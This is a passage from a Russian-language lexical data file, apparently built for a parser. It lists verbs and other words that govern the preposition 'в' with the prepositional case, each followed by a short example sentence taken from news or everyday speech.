(РАЗВОРАЧИВАТЬСЯ) rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ) rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ) rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ) rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ) rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ) rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ) rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ) rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ) rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ) rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ) rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ) rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ) rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике 